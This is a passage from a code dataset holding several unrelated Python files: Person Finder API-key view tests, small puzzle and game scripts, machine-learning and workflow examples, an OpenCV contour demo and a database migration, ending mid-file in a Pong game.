self.data_generator.authorization()\n self.login_as_superadmin()\n\n def test_get(self):\n \"\"\"Tests GET requests.\"\"\"\n doc = self.to_doc(self.client.get(\n '/haiti/admin/api_keys/list/', secure=True))\n self.assertTrue('Bob Vance' in doc.text)\n self.assertTrue('bob@fridge.com' in doc.text)\n self.assertTrue('Vance Refrigeration' in doc.text)\n # The first 10 elements with the \"permissions\" class are the\n # \"Permissions\" header and the individual permissions column headers.\n permissions_row = [el.text for el in doc.cssselect('.permission')[10:]]\n expected_permissions = [\n 'fridge.com', 'x', 'x', 'x', None, None, None, None, 'x']\n self.assertEqual(permissions_row, expected_permissions)\n\n\nclass ApiKeyManagementViewTests(view_tests_base.ViewTestsBase):\n \"\"\"Tests the API key management view.\"\"\"\n\n def init_testbed_stubs(self):\n self.testbed.init_user_stub()\n self.testbed.init_datastore_v3_stub()\n\n def setUp(self):\n super(ApiKeyManagementViewTests, self).setUp()\n self.login_as_superadmin()\n\n def test_get_create_form(self):\n \"\"\"Tests GET requests with no log key (i.e., the creation form).\"\"\"\n self.authorization = self.data_generator.authorization()\n res = self.client.get('/haiti/admin/api_keys/', secure=True)\n self.assertEqual(res.context['target_key'],\n model.Authorization.DEFAULT_SETTINGS)\n self.assertEqual(res.context['operation_type'], 'create')\n\n def test_get_update_form(self):\n \"\"\"Tests GET requests with a log key specified (i.e., an update form).\n \"\"\"\n self.authorization = self.data_generator.authorization()\n management_log = model.ApiKeyManagementLog(\n repo='haiti',\n api_key=self.authorization.api_key,\n action=model.ApiKeyManagementLog.CREATE,\n ip_address='123.45.67.89',\n key_state=self.authorization.summary_str())\n management_log.put()\n res = self.client.get(\n '/haiti/admin/api_keys/',\n data={'log_key': management_log.key()},\n secure=True)\n self.assertEqual(res.context['target_key'].key(),\n self.authorization.key())\n self.assertEqual(res.context['operation_type'], 'update')\n\n def test_post_render_update_form(self):\n \"\"\"Tests POST requests to show the update form.\"\"\"\n self.authorization = self.data_generator.authorization()\n params = {\n 'edit_form': '1',\n 'authorization_key': self.authorization.key(),\n 'xsrf_token': self.xsrf_token('admin_api_keys'),\n }\n res = self.client.post(\n '/haiti/admin/api_keys/', data=params, secure=True)\n self.assertEqual(res.context['target_key'].key(),\n self.authorization.key())\n self.assertEqual(res.context['operation_type'], 'update')\n\n def test_create_key(self):\n \"\"\"Tests POST requests to create a new key.\"\"\"\n params = {\n 'contact_name': 'Creed Bratton',\n 'contact_email': 'creed@aol.com',\n 'organization_name': 'Creed Inc.',\n 'read_permission': 'true',\n 'search_permission': 'true',\n 'is_valid': 'true',\n 'xsrf_token': self.xsrf_token('admin_api_keys'),\n }\n res = self.client.post(\n '/haiti/admin/api_keys/', data=params, secure=True,\n REMOTE_ADDR='11.22.33.44')\n # Check that the Authorization entity was generated correctly.\n auths = model.Authorization.all().filter('repo =', 'haiti')\n self.assertEqual(auths.count(), 1)\n auth = auths[0]\n self.assertEqual(auth.contact_name, 'Creed Bratton')\n self.assertEqual(auth.contact_email, 'creed@aol.com')\n self.assertEqual(auth.organization_name, 'Creed Inc.')\n self.assertTrue(auth.read_permission)\n self.assertTrue(auth.search_permission)\n self.assertTrue(auth.is_valid)\n self.assertIsNone(auth.domain_write_permission)\n self.assertFalse(auth.full_read_permission)\n self.assertFalse(auth.subscribe_permission)\n self.assertFalse(auth.mark_notes_reviewed)\n self.assertFalse(auth.believed_dead_permission)\n self.assertFalse(auth.stats_permission)\n self.assertIsInstance(res, django.http.HttpResponseRedirect)\n # A management log entry should have been created.\n management_logs = model.ApiKeyManagementLog.all()\n self.assertEqual(1, management_logs.count())\n management_log = management_logs[0]\n self.assertEqual(management_log.repo, 'haiti')\n self.assertEqual(management_log.api_key, auth.api_key)\n self.assertEqual(\n management_log.action, model.ApiKeyManagementLog.CREATE)\n self.assertEqual(management_log.ip_address, '11.22.33.44')\n self.assertTrue('Creed' in management_log.key_state)\n # The user should be redirected to the form with the log key in a GET\n # parameter.\n self.assertEqual(\n res.url,\n 'https://testserver/haiti/admin/api_keys?repo=haiti&log_key=%s' %\n management_log.key())\n\n def test_update_key(self):\n \"\"\"Tests POST request to update an existing key.\"\"\"\n self.authorization = self.data_generator.authorization()\n params = {\n 'key': self.authorization.key(),\n 'contact_name': 'Phyllis Vance',\n 'contact_email': 'phyllis@fridge.com',\n 'organization_name': 'Vance Refrigeration',\n 'domain_write_permission': 'fridge.com',\n 'read_permission': 'true',\n 'full_read_permission': 'true',\n 'search_permission': 'true',\n 'subscribe_permission': 'true',\n 'is_valid': 'true',\n 'xsrf_token': self.xsrf_token('admin_api_keys'),\n }\n res = self.client.post(\n '/haiti/admin/api_keys/', data=params, secure=True,\n REMOTE_ADDR='11.22.33.44')\n # Check that the Authorization entity was updated correctly.\n auths = model.Authorization.all().filter('repo =', 'haiti')\n self.assertEqual(auths.count(), 1)\n auth = auths[0]\n self.assertEqual(auth.key(), self.authorization.key())\n # Check that changes were made.\n self.assertEqual(auth.contact_name, 'Phyllis Vance')\n self.assertEqual(auth.contact_email, 'phyllis@fridge.com')\n self.assertTrue(auth.subscribe_permission)\n # A management log entry should have been created.\n management_logs = model.ApiKeyManagementLog.all()\n self.assertEqual(1, management_logs.count())\n management_log = management_logs[0]\n self.assertEqual(management_log.repo, 'haiti')\n self.assertEqual(management_log.api_key, auth.api_key)\n self.assertEqual(\n management_log.action, model.ApiKeyManagementLog.UPDATE)\n self.assertEqual(management_log.ip_address, '11.22.33.44')\n self.assertTrue('Phyllis' in management_log.key_state)\n # The user should be redirected to the form with the log key in a GET\n # parameter.\n self.assertEqual(\n res.url,\n 'https://testserver/haiti/admin/api_keys?repo=haiti&log_key=%s' %\n management_log.key())\n","repo_name":"google/personfinder","sub_path":"tests/views/test_admin_api_keys.py","file_name":"test_admin_api_keys.py","file_ext":"py","file_size_in_byte":7707,"program_lang":"python","lang":"en","doc_type":"code","stars":515,"dataset":"github-code","pt":"37"} +{"seq_id":"18884543261","text":"from itertools import chain\n\nlines = open('input').read().splitlines()\n\no = lines[0].split(',')\nboards = [\n [l.split() for l in b]\n for b in zip(*[lines[i::6] for i in range(2, 7)])\n]\n\n\ndef score(board):\n return min(score_rows(board), score_rows(list(zip(*board))))\n\n\ndef score_rows(board):\n steps = min(max(o.index(num) for num in row) for row in board)\n score = sum(int(num) for num in chain(*board) if o.index(num) > steps) * int(o[steps])\n return steps, score\n\n\n# Part 1\nprint(min(map(score, boards)))\n\n# Part 2\nprint(max(map(score, boards)))\n","repo_name":"matus-pikuliak/advent_2021","sub_path":"04/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43030949030","text":"# Yahtzee_template.py\n# Created by David C. Tuttle\n# Last modified: April 2, 2018\n\nimport random\nimport collections\n\nNUM_SIDES = 6 # Number of sides on each die\nNUM_DICE = 5 # Number of dice in the game\nNUM_ROLLS = 3 # Number of rolls for each test\nNUM_TESTS = 1000 # Number of tests to perform\n\n# ***** Definition of Die object class and methods go here ***\n\n# PART I - DEFINING THE DIE CLASS goes here\nclass Die():\n def __init__(self, number_of_sides):\n self.side_num = number_of_sides\n self.rolled = 0\n\n def roll(self):\n self.rolled = random.randint(1, self.side_num)\n\n def value(self):\n return self.rolled\n\n# ***** End of Die class definition **************************\n\n# list of Die objects -> boolean\n# expects a list of Die objects\n# returns True if all values of the Die objects match (a \"Yahtzee\")\n# returns False otherwise\n\ndef is_yahtzee(the_dice):\n result = True\n for i in range(1, NUM_DICE):\n if the_dice[i].value() != the_dice[i-1].value():\n result = False\n return result\n\n# list of Die objects -> nothing\n# expects a list of Die objects\n# returns nothing\n# side effect: prints to screen the values on the dice\n\ndef print_dice(the_dice):\n print(\"The dice values are: {0}\".format([i.value() for i in the_dice]))\n\n# list of Die objects -> int\n# expects a list of Die objects\n# examines the values of the dice, and determines which value\n# is most common\n# returns that most common value found\n# Examples: the_dice values of [1, 5, 4, 5, 5] will return 5\n# the_dice values of [2, 6, 2, 6, 4] will return 2 or 6\n\ndef best_value_to_keep(the_dice):\n # Create a counter dictionary of the values in the_dice[]\n dice_counter = collections.Counter(i.value() for i in the_dice)\n \n # Look for the greatest number of dice that match each other\n how_many_dice_match = max(dice_counter.values())\n \n # Find which value on the dice (that is, which key in the counter)\n # corresponds to how_many_dice_match (if a tie, either value is OK)\n for i in list(dice_counter.keys()):\n if dice_counter[i] == how_many_dice_match:\n value_to_keep = i\n \n # value_to_keep is now the most commonly found value on the dice\n return value_to_keep\n\n# *************** play_yahtzee code goes here ********************\n\n# list of Die objects -> boolean\n# expects a list of Die objects\n# Rolls the dice NUM_ROLLS times to try to get a \"Yahtzee\"\n# A Yahtzee is when all the dice have the same value\n# returns True if a Yahtzee occurs, or False otherwise\n#\n# side effect: prints to the screen the values of the dice\n# (by calling print_dice(the_dice)) after each roll,\n# and a single-line \"Yahtzee\" or \"No Yahtzee\" message at the end\n\n# PART II - Writing the play_yahtzee function goes here\n\ndef play_yahtzee(the_dice):\n for i in range(0, NUM_DICE):\n the_dice[i].roll()\n\n print_dice(the_dice)\n num_rolled = 1\n\n while(num_rolled < NUM_ROLLS and not is_yahtzee(the_dice)):\n for i in range(0, NUM_DICE):\n if(the_dice[i].value() != best_value_to_keep(the_dice)):\n the_dice[i].roll()\n print_dice(the_dice)\n num_rolled += 1\n\n if is_yahtzee(the_dice):\n print(\"Yahtzee!\")\n else:\n print(\"No yahtzee... :c\")\n return is_yahtzee(the_dice)\n\n# *************** end play_yahtzee code **************************\n\n# *** The \"main\" code to run play_yahtzee() NUM_TIMES times goes here ***\n\n# PART III - Code to run play_yahtzee multiple times goes here\n\nthe_dice = []\n\nfor i in range(0, NUM_DICE):\n the_dice.append(Die(NUM_SIDES))\n\n# Now, write a loop to call play_yahtzee(my_dice) NUM_TIMES times.\n# Use a local variable to keep track of the\n# number of Yahtzees that occur, and compute the percentage of\n# tests the resulted in a Yahtzee. Print the number of tests,\n# the number of Yahtzees, and the percentage of success\n# to the screen in an easy to read and understand manner\nnum_yahtzees = 0\nfor i in range(0,NUM_TESTS):\n if play_yahtzee(the_dice):\n num_yahtzees +=1\n\nprint(num_yahtzees, \"yahtzees out of\", NUM_TESTS)\nprint(\"{:.0%} percent success rate!\".format(num_yahtzees / NUM_TESTS))\n\n# *** End of \"main\" code ***\n","repo_name":"EliLPeters/Spring-2018-Schoolwork","sub_path":"CS 232 Python/Homework/CS232-04-elp5.py","file_name":"CS232-04-elp5.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6902758779","text":"import numpy as np\nimport sklearn.datasets as sk_dataset\nimport random\nimport math\nimport matplotlib.pyplot as plt\nfrom sklearn.naive_bayes import GaussianNB\nimport seaborn as sns\nfrom collections import Counter, defaultdict\nfrom minepy import MINE\nimport pandas as pd\nimport operator\nimport datetime\nimport time\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import MinMaxScaler\nfrom itertools import combinations\nfrom sklearn.metrics import mutual_info_score\nfrom sklearn import metrics\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn import svm\nfrom sklearn import tree\n\nfrom sklearn.naive_bayes import GaussianNB\n\ndef prepare_data(dataset,proportion):\n label = dataset[:,-1]\n data = dataset[:,:-1]\n\n n_class = len(set(label))\n\n shuffle_index = np.arange(len(label))\n np.random.shuffle(shuffle_index)\n\n train_number = int(proportion * len(label))\n train_index = shuffle_index[:train_number]\n #print(train_index)\n val_index = shuffle_index[train_number:]\n #print(val_index)\n return train_index,val_index\n\n\n\nX = np.loadtxt('统计的数据集/整理好的数据集/adult(1).txt')\n\n\n\nm=X.shape[1]-1\nvector_data=X[:,:-1]\nlabel_data=X[:,-1]\n\n # 贝叶斯算法离散化后\narray1 = np.zeros(shape = (0, X.shape[0]))\nfor n in range(0, m):\n k = 8\n d1 = pd.cut(vector_data[:, n], k, labels = range(k))\n array1 = np.vstack((array1, d1))\narray1 = np.vstack((array1, label_data))\nX1 = array1.T\n\n#print(X)\n#print(X1)\nvector_data_NBC = X1[:, :-1]\nlabel_data_NBC = X1[:, -1]\n\nvector_data_RVFL=X[:,:-1]\nlabel_data_RVFL=X[:,-1]\n\ntrain_accuracy_svc=[]\ntest_accuracy_svc=[]\n\ntrain_accuracy_NN=[]\ntest_accuracy_NN=[]\n\ntrain_accuracy_NB=[]\ntest_accuracy_NB=[]\n\ntrain_accuracy_cart=[]\ntest_accuracy_cart=[]\n\ntrain_accuracy_rt=[]\ntest_accuracy_rt=[]\n\nfor k in range(0, 1):\n train_index, val_index = prepare_data(X, 0.7)\n train_data_NBC = vector_data_NBC[train_index]\n train_label_NBC = label_data_NBC[train_index]\n test_data_NBC = vector_data_NBC[val_index]\n test_label_NBC = label_data_NBC[val_index]\n\n train_data_RVFL = vector_data_RVFL[train_index]\n train_label_RVFL = label_data_RVFL[train_index]\n test_data_RVFL = vector_data_RVFL[val_index]\n test_label_RVFL = label_data_RVFL[val_index]\n\n #支持向量机\n clf=svm.SVC()\n clf.fit(train_data_RVFL,train_label_RVFL)\n temp=0\n correct=0\n Predict_Matrix_test=clf.predict(test_data_RVFL)\n for i in range(len(test_label_RVFL)):\n if Predict_Matrix_test[i]==test_label_RVFL[i]:\n correct+=1\n test_accuracy_svc.append(correct/len(test_label_RVFL))\n\n correct=0\n Predict_Matrix_train=clf.predict(train_data_RVFL)\n for i in range(len(train_label_RVFL)):\n if Predict_Matrix_train[i]==train_label_RVFL[i]:\n correct+=1\n train_accuracy_svc.append(correct/len(train_label_RVFL))\n print(test_accuracy_svc,train_accuracy_svc)\n\n\n\n\n #NN神经网路\n clf = MLPClassifier(hidden_layer_sizes = (500,), activation = 'relu',\n solver = 'lbfgs', alpha = 0.0001, batch_size = 'auto',\n learning_rate = 'constant')\n clf.fit(train_data_RVFL,train_label_RVFL)\n\n temp=0\n correct=0\n Predict_Matrix_test=clf.predict(test_data_RVFL)\n for i in range(len(test_label_RVFL)):\n if Predict_Matrix_test[i]==test_label_RVFL[i]:\n correct+=1\n test_accuracy_NN.append(correct/len(test_label_RVFL))\n\n correct=0\n Predict_Matrix_train=clf.predict(train_data_RVFL)\n for i in range(len(train_label_RVFL)):\n if Predict_Matrix_train[i]==train_label_RVFL[i]:\n correct+=1\n train_accuracy_NN.append(correct/len(train_label_RVFL))\n print(test_accuracy_NN,train_accuracy_NN)\n\n\n\n\n #贝叶斯分类器\n\n clf = GaussianNB()\n\n Start = time.time()\n clf.fit(train_data_RVFL,train_label_RVFL)\n End = time.time()\n print(\"NB训练时间\", End - Start)\n temp=0\n correct=0\n\n Start = time.time()\n Predict_Matrix_test=clf.predict(test_data_RVFL)\n\n\n for i in range(len(test_label_RVFL)):\n if Predict_Matrix_test[i]==test_label_RVFL[i]:\n correct+=1\n test_accuracy_NB.append(correct/len(test_label_RVFL))\n End = time.time()\n print(\"NB测试时间\", End - Start)\n correct=0\n Predict_Matrix_train=clf.predict(train_data_RVFL)\n for i in range(len(train_label_RVFL)):\n if Predict_Matrix_train[i]==train_label_RVFL[i]:\n correct+=1\n train_accuracy_NB.append(correct/len(train_label_RVFL))\n print(test_accuracy_NB,train_accuracy_NB)\n\n\n \n\n\n #决策树C4.5\n clf=RandomForestClassifier()\n clf.fit(train_data_NBC,train_label_NBC)\n\n temp=0\n correct=0\n Predict_Matrix_test=clf.predict(test_data_NBC)\n for i in range(len(test_label_NBC)):\n if Predict_Matrix_test[i]==test_label_NBC[i]:\n correct+=1\n test_accuracy_cart.append(correct/len(test_label_NBC))\n\n correct=0\n Predict_Matrix_train=clf.predict(train_data_NBC)\n for i in range(len(train_label_NBC)):\n if Predict_Matrix_train[i]==train_label_NBC[i]:\n correct+=1\n train_accuracy_cart.append(correct/len(train_label_NBC))\n print(test_accuracy_cart,train_accuracy_cart)\n\n #随机森林\n clf=tree.DecisionTreeClassifier()\n clf.fit(train_data_NBC,train_label_NBC)\n temp=0\n correct=0\n Predict_Matrix_test=clf.predict(test_data_NBC)\n for i in range(len(test_label_NBC)):\n if Predict_Matrix_test[i]==test_label_NBC[i]:\n correct+=1\n test_accuracy_rt.append(correct/len(test_label_NBC))\n\n correct=0\n Predict_Matrix_train=clf.predict(train_data_NBC)\n for i in range(len(train_label_NBC)):\n if Predict_Matrix_train[i]==train_label_NBC[i]:\n correct+=1\n train_accuracy_rt.append(correct/len(train_label_NBC))\n print(test_accuracy_rt,train_accuracy_rt)\n\n\n\narr_mean_train_svc = np.mean(train_accuracy_svc)\narr_std_train_svc = np.std(train_accuracy_svc)\narr_mean_test_svc=np.mean(test_accuracy_svc)\narr_std_test_svc=np.std(test_accuracy_svc)\n\nprint(\"svc测试集平均及标准差为\", arr_mean_test_svc, arr_std_test_svc)\nprint(\"svc训练集平均值及标准差\", arr_mean_train_svc, arr_std_train_svc)\n\narr_mean_train_NN = np.mean(train_accuracy_NN)\narr_std_train_NN = np.std(train_accuracy_NN)\narr_mean_test_NN=np.mean(test_accuracy_NN)\narr_std_test_NN=np.std(test_accuracy_NN)\n\nprint(\"NN测试集平均及标准差为\", arr_mean_test_NN, arr_std_test_NN)\nprint(\"NN训练集平均值及标准差\", arr_mean_train_NN, arr_std_train_NN)\n\narr_mean_train_NB = np.mean(train_accuracy_NB)\narr_std_train_NB= np.std(train_accuracy_NB)\narr_mean_test_NB=np.mean(test_accuracy_NB)\narr_std_test_NB=np.std(test_accuracy_NB)\n\nprint(\"NB测试集平均及标准差为\", arr_mean_test_NB, arr_std_test_NB)\nprint(\"NB训练集平均值及标准差\", arr_mean_train_NB, arr_std_train_NB)\n\narr_mean_train_cart = np.mean(train_accuracy_cart)\narr_std_train_cart= np.std(train_accuracy_cart)\narr_mean_test_cart=np.mean(test_accuracy_cart)\narr_std_test_cart=np.std(test_accuracy_cart)\n\nprint(\"cart测试集平均及标准差为\", arr_mean_test_cart, arr_std_test_cart)\nprint(\"cart训练集平均值及标准差\", arr_mean_train_cart, arr_std_train_cart)\n\narr_mean_train_rt = np.mean(train_accuracy_rt)\narr_std_train_rt= np.std(train_accuracy_rt)\narr_mean_test_rt=np.mean(test_accuracy_rt)\narr_std_test_rt=np.std(test_accuracy_rt)\n\nprint(\"rt测试集平均及标准差为\", arr_mean_test_rt, arr_std_test_rt)\nprint(\"rt训练集平均值及标准差\", arr_mean_train_rt, arr_std_train_rt)\n\n\n\n\n\n\n\n\n\n","repo_name":"ouguiliang110/NaiveBayesNetCheck","sub_path":"NBC-RVFC 集成算法/对比实验算法.py","file_name":"对比实验算法.py","file_ext":"py","file_size_in_byte":7663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70198685549","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\n\nimport aqueduct as aq\n\nNAME = \"succeed_complex\"\nDESCRIPTION = \"\"\"* Workflows Page: should succeed.\n* Workflow Details Page: everything should be green.\n* Data Page: pred_ensemble artifact should appears.\"\"\"\n\n\n@aq.op(requirements=[\"numpy\"])\ndef log_featurize(cust: pd.DataFrame) -> pd.DataFrame:\n features = cust.copy()\n skip_cols = [\"cust_id\", \"using_deep_learning\", \"using_dbt\"]\n\n for col in features.columns.difference(skip_cols):\n features[\"log_\" + col] = np.log(features[col] + 1.0)\n\n return features.drop(columns=\"cust_id\")\n\n\ndef deploy(client, integration):\n customers_table = pd.read_csv(\n \"https://raw.githubusercontent.com/aqueducthq/aqueduct/main/examples/churn_prediction/data/customers.csv\"\n )\n churn_table = pd.read_csv(\n \"https://raw.githubusercontent.com/aqueducthq/aqueduct/main/examples/churn_prediction/data/churn_data.csv\"\n )\n features_table = log_featurize.local(customers_table)\n\n linear_model = LogisticRegression(max_iter=10000)\n linear_model.fit(features_table, churn_table[\"churn\"])\n decision_tree_model = DecisionTreeClassifier(max_depth=10, min_samples_split=3)\n decision_tree_model.fit(features_table, churn_table[\"churn\"])\n\n @aq.op(requirements=[\"scikit-learn\"])\n def predict_linear(features_table):\n return pd.DataFrame({\"linear\": linear_model.predict_proba(features_table)[:, 1]})\n\n @aq.op(requirements=[\"scikit-learn\"])\n def predict_tree(features_table):\n return pd.DataFrame({\"tree\": decision_tree_model.predict_proba(features_table)[:, 1]})\n\n @aq.op(requirements=[])\n def predict_ensemble(customers_table, linear_pred_table, tree_pred_table):\n return customers_table.assign(\n prob_churn=linear_pred_table.join(tree_pred_table).mean(axis=1)\n )\n\n warehouse = client.resource(name=integration)\n customers_table = warehouse.sql(query=\"SELECT * FROM customers;\")\n features_table = log_featurize(customers_table)\n linear_pred_table = predict_linear(features_table)\n tree_pred_table = predict_tree(features_table)\n churn_table = predict_ensemble(customers_table, linear_pred_table, tree_pred_table)\n\n @aq.check(description=\"Ensuring valid probabilities.\", requirements=[])\n def valid_probabilities(df: pd.DataFrame):\n return (df[\"prob_churn\"] >= 0) & (df[\"prob_churn\"] <= 1)\n\n valid_probabilities(churn_table)\n avg_pred_churn_metric = churn_table.mean(\"prob_churn\")\n avg_pred_churn_metric.bound(lower=0.1)\n avg_pred_churn_metric.bound(upper=0.3)\n avg_pred_churn_metric.bound(upper=0.4, severity=\"error\")\n warehouse.save(churn_table, \"pred_churn\", aq.LoadUpdateMode.REPLACE)\n client.publish_flow(\n name=NAME,\n description=DESCRIPTION,\n artifacts=[churn_table, avg_pred_churn_metric],\n schedule=aq.hourly(),\n )\n","repo_name":"aqueducthq/aqueduct","sub_path":"manual_qa_tests/workflows/succeed_complex.py","file_name":"succeed_complex.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","stars":488,"dataset":"github-code","pt":"37"} +{"seq_id":"24928825471","text":"import setuptools\n\nwith open('README.md') as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name='streamside',\n version='0.5',\n scripts=[],\n author='Jinho D. Choi',\n author_email='jinho.choi@emory.edu',\n description='Meaning Representation Annotation Toolkit',\n long_description=long_description,\n long_description_content_type='text/markdown',\n url='https://github.com/emorynlp/StreamSide',\n packages=setuptools.find_packages(),\n install_requires=[\n 'PyQt5==5.15.4'\n ],\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n ],\n package_data={'streamside': ['resources/*/*.json']},\n include_package_data=True\n )","repo_name":"emorynlp/StreamSide","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"11873001770","text":"import cv2\nimport numpy as np\n\ndef cv2show(name : str, img ):\n cv2.imshow(name, img)\n cv2.waitKey(0)\n\nif __name__ == '__main__':\n img1 = cv2.imread(r'./1.jpg')\n img1_gray = cv2.cvtColor(img1,cv2.COLOR_BGR2GRAY)\n cv2show('img1',img1)\n print(img1.shape)\n # I. Find Contour\n # 圖形二值化 binary : 灰階值>127 → 255 , 灰階值<127 → 0 \n ret, thresh = cv2.threshold(img1_gray, 127, 255, cv2.THRESH_BINARY)\n cv2show('Binarize', thresh)\n\n # 尋找二值化後圖形的輪廓\n contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n # contours (描述輪廓的list), hierarchy (階級(目前不重要))\n \n # 找到紀錄輪廓的list (contours)後,接下來直接使用method畫出來 \n cv2.drawContours(img1, contours, -1 ,( 0, 255, 255) , 1) # (src, contours , index of contours (-1 to draw all contours), (B,G,R), thickness)\n cv2show('Contours',img1)\n\n # II. estimate Approximation Contour (只能找到Contours(list裝有多個輪廓)其中一個輪廓並繪製近似輪廓)\n one_contour = contours[21] # 從裝有許多輪廓的列表中,取出一個輪廓\n epsilon = 0.1 * cv2.arcLength(one_contour,True) # arcLength, 計算目標輪廓的周長,可以藉由調整閾值epsilon來找出一個近似輪廓\n print('周長為 : ', cv2.arcLength(one_contour,True))\n approx = cv2.approxPolyDP(one_contour, epsilon, True)\n cv2.drawContours(img1, [approx], -1 ,( 255, 255, 0) , 2)\n cv2show('Contours vs Approx Contours',img1)","repo_name":"joshsmiththenoob/OpenCV_Image_Processing","sub_path":"OpenCV_contour_approximation.py","file_name":"OpenCV_contour_approximation.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30658006134","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nage = 22\nfor i in range(10):\n print('new i2',i)\n if i<3:\n guess_num = int(input(\"input your guess num:\"))\n if guess_num == age:\n print(\"Congratulations! you got it.\")\n break # jump all loop\n elif guess_num > age:\n print(\"Think smaller!\")\n else:\n print(\"Think Big....\")\n else:\n #print(\"too many attempts....bye\")\n #break\n continue_confirm = input(\"Do you want to continue because you are stupid:\")\n if continue_confirm == 'y':\n\n i = 0\n print('new i',i)\n else:\n print(\"bye\")\n break\n\n\n","repo_name":"pangguoping/python-study","sub_path":"day1/guess_agev3.py","file_name":"guess_agev3.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3840726488","text":"import pandas as pd\n\n\ndef run(simulation_time_steps, r0, recovering_rate, exposure_rate, death_rate, death_proportion_rate,susceptible, exposed, infected, recovered, dead, drop_midsteps: bool=True) -> pd.DataFrame:\n \"\"\"\n Run all experiments and return their output on the dataset column.\n Each line represents an iteration of the parameter-sweep combinations.\n \"\"\"\n # The following imports NEED to be in the exact order\n from cadCAD.engine import ExecutionMode, ExecutionContext, Executor\n\n # Simulation configs, input any new simulations here\n from covid_19_seird import config\n\n #from {new_simulation} import config\n\n from cadCAD import configs\n import pandas as pd\n from covid_19_seird import config\n config.get_config(simulation_time_steps, r0, recovering_rate, exposure_rate, death_rate, death_proportion_rate,susceptible, exposed, infected, recovered, dead)\n exec_mode = ExecutionMode()\n multi_proc_ctx = ExecutionContext(context=exec_mode.multi_proc)\n run = Executor(exec_context=multi_proc_ctx, configs=configs)\n results = pd.DataFrame()\n i = 0\n for raw_result, _ in run.execute():\n params = configs[i].sim_config['M']\n result_record = pd.DataFrame.from_records([tuple([i for i in params.values()])], columns=list(params.keys()))\n\n df = pd.DataFrame(raw_result)\n # keep only last substep of each timestep\n if drop_midsteps:\n max_substep = max(df.substep)\n is_droppable = (df.substep!=max_substep)&(df.substep!=0)\n df.drop(df[is_droppable].index, inplace=True)\n\n result_record['dataset'] = [df]\n results = results.append(result_record)\n i += 1\n return results.reset_index()","repo_name":"marthendalnunes/covid-simulation","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"27882900081","text":"\"\"\"update-sf133-datatypes\n\nRevision ID: 5a9051f9bfc5\nRevises: a0a4f1ef56ae\nCreate Date: 2016-08-11 11:44:49.640398\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '5a9051f9bfc5'\ndown_revision = 'a0a4f1ef56ae'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade(engine_name):\n globals()[\"upgrade_%s\" % engine_name]()\n\n\ndef downgrade(engine_name):\n globals()[\"downgrade_%s\" % engine_name]()\n\n\ndef upgrade_data_broker():\n op.alter_column('sf_133', 'fiscal_year', nullable=False)\n op.execute('ALTER TABLE sf_133 ALTER COLUMN fiscal_year TYPE INTEGER USING (fiscal_year::integer)')\n\n op.alter_column('sf_133', 'period', nullable=False)\n op.execute('ALTER TABLE sf_133 ALTER COLUMN period TYPE INTEGER USING (period::integer)')\n\n\ndef downgrade_data_broker():\n op.alter_column('sf_133', 'period',\n existing_type=sa.Integer(),\n type_=sa.TEXT(),\n nullable=True)\n op.alter_column('sf_133', 'fiscal_year',\n existing_type=sa.Integer(),\n type_=sa.TEXT(),\n nullable=True)\n\n","repo_name":"fedspendingtransparency/data-act-broker-backend","sub_path":"dataactcore/migrations/versions/5a9051f9bfc5_update_sf133_datatypes.py","file_name":"5a9051f9bfc5_update_sf133_datatypes.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"28312762078","text":"from turtle import Screen\nfrom paddle import Paddle\nfrom ball import Ball\nfrom scoreboard import Scoreboard\nimport time\nscreen= Screen()\nscreen.setup(width=800, height= 600)\nscreen.bgcolor(\"black\")\nscreen.title(\"Pong\")\npaddle=Paddle((350,0))\npaddle2=Paddle((-350,0))\nball=Ball(1)\nscreen.tracer(0)\nscoreL=Scoreboard((-200,250))\nscoreR=Scoreboard((200,250))\n\n\n\nscreen.listen()\nscreen.onkey(paddle.goUp,\"Up\")\nscreen.onkey(paddle.goDown,\"Down\")\nscreen.onkey(paddle2.goUp,\"w\")\nscreen.onkey(paddle2.goDown,\"s\")\ngameLive=True\nwhile gameLive:\n time.sleep(ball.movespeed)\n screen.update()\n ball.moveBall()\n if ball.ycor()>=280 or ball.ycor()<=-280:\n ball.bounce()\n if ball.distance(paddle) <60 and ball.xcor()>=340:\n ball.hit()\n if ball.distance(paddle2) <60 and ball.xcor()<=-340:\n ball.hit()\n if ball.xcor()>=420:\n scoreL.scorePoint()\n ball=Ball(-1)\n if ball.xcor()<=-420:\n scoreR.scorePoint()\n 